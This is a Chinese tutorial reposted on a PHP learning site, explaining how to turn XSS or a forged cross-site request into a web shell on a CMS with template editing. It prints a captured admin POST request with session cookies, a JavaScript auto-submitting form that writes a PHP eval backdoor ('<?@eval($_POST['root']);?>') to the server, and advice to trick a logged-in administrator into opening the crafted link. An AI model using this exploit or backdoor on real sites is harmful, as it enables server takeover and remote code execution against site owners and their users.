网站地图    收藏   

主页 > 后端 > 网站安全 >

XSS也能getshell - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 我的想法是这样的 有很多CMS都有 修改模板或者修改文件的功能我们可以自己构造一个外部的URL去post提交修改模板或其他文件 从而实现XSSgetshell !同样这方法能做很多事情比如增加管理...

我的想法是这样的 有很多CMS都有 修改模板或者修改文件的功能
我们可以自己构造一个外部的URL去post提交修改模板或其他文件 从而实现XSSgetshell !同样这方法能做很多事情比如增加管理员账号什么的
前提条件要管理员登陆状态下
若CMS系统有XSS漏洞那就更完美了 呵呵
我这里随便找了一套带文件增 删 改 的cms测试呵呵(这CMS也有XSS不过因为魔术原因利用起来不太利索,这里我只是做一个test就自己写html来模拟XSS呢)
首先确定CMS带文件编辑功能并且能添加最好
 
  
 
然后提交抓包一下(主要看post提交的参数)
抓包结果
POST /dongtai/mydecms/moban.php?action=act_add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.2cto.com /dongtai/mydecms/moban.php?action=add
Cookie: DedeUserID=1; DedeUserID__ckMd5=b9cf12069278e6e4; DedeLoginTime=1332332156; DedeLoginTime__ckMd5=51cc4f68ef71707f; ZDEDebuggerPresent=php,phtml,php3; PHPSESSID=mhirdnd0l4avekk1sq89doge51
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
 
filename=xss&mobantext=&content=by+alex&button=%CC%ED%BC%D3%C4%A3%B0%E5%CE%C4%BC%FE&id=
 
提交的url:/dongtai/mydecms/moban.php?action=act_add
提交的文件名:filename=xss
提交的文件内容:content=by+alex
这两个参数是post的
我们来构造一个javascript post提交(为了模拟XSS攻击 不然随便用PHP 或者html了)
 
function PostSubmit(url, data, msg) { 
    var postUrl = url;//提交地址 
    var postData = data;//第一个数据 
    var msgData = msg;//第二个数据 
    var ExportForm = document.createElement("FORM"); 
    document.body.appendChild(ExportForm); 
    ExportForm.method = "POST";  //post提交
    var newElement = document.createElement("input"); 
    newElement.setAttribute("name", "filename");  //文件名
    newElement.setAttribute("type", "hidden"); 
    var newElement2 = document.createElement("input"); 
    newElement2.setAttribute("name", "content");  //文件内容
    newElement2.setAttribute("type", "hidden"); 
    ExportForm.appendChild(newElement); 
    ExportForm.appendChild(newElement2); 
    newElement.value = postData; 
    newElement2.value = msgData; 
    ExportForm.action = postUrl; 
    ExportForm.submit(); 
};
 
//filename=test&mobantext=&content=haha&button=%CC%ED%BC%D3%C4%A3%B0%E5%CE%C4%BC%FE&id=
PostSubmit("http:// www.2cto.com /dongtai/mydecms/moban.php?action=act_add","hack","<?@eval($_POST['root']);?>");//然后调用
 
保存为test.js
然后如果有XS可以尝试调用这JS
我只是测试就用html调用了
 
<html>
<head>
</head>
<body>
 
<script src="test.js">
</script>
 
 
</body>
</html>

2.jpg
3.jpg
4.jpg
 
让后就自由发挥了 诱使管理员在登陆的情况下打开我们构造的连接
如:http://www.2cto.com /xss/test.html

摘自:狗一样的男人 blog
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论